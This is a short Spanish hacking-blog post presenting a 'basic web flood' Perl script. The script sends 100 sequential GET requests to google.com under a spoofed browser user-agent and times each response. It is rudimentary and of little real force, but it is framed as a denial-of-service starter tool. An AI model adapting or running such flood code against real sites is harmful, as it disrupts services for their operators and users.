12Dic/070

Web Flood básico en Perl

por mariotux Dejar una respuesta »
PLAIN TEXT
PERL:
  1. #!/usr/bin/perl -w
  2.  
  3. use strict;
  4. use CGI::Carp qw(fatalsToBrowser);
  5.  
  6. use LWP::UserAgent;
  7. use HTTP::Request;
  8.  
  9.  
  10. my $i;
  11.  
  12. for($i=0;$i<10;$i++){
  13.     print("\n============== [ ".($i+1)." ] Resultado ========================\n");
  14.     &leerUrl;
  15. }
  16. print("\n");
  17.  
  18. sub leerUrl{
  19.  
  20.     my $ua = LWP::UserAgent->new;
  21.     $ua->agent("Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000; DigExt)");
  22.  
  23.     my $url = "http://google.com/";
  24.  
  25.     my $req = HTTP::Request->new(GET => $url);
  26.  
  27.     my $i;
  28.     my $ahora = time();
  29.  
  30.     for($i=0;$i<10;$i++){
  31.         my $response = $ua->request($req);
  32.         if($response){
  33.             my $demora = time() - $ahora;
  34.             print( "\n [ ".($i+1)." ] Respuesta recibida  ".$url." en ".$demora." sec." );
  35.             $ahora = time();
  36.         }
  37.     }
  38.     print("\n");
  39. }

Share and Enjoy:
  • Print
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Blogplay
  • email
  • Meneame
  • Netvibes
  • PDF
  • Technorati
  • Tumblr
  • Twitter
  • Yahoo! Bookmarks
If you enjoyed this post, make sure you subscribe to my RSS feed!

Leer entradas relacionadas:

Publicado enHacking, Linux, Perl

Puede seguir cualquier respuesta a esta entrada a través de la RSS 2.0 Feed. Puede dejar una respuesta , o trackback de su propio sitio.

Publicidad

Deja un comentario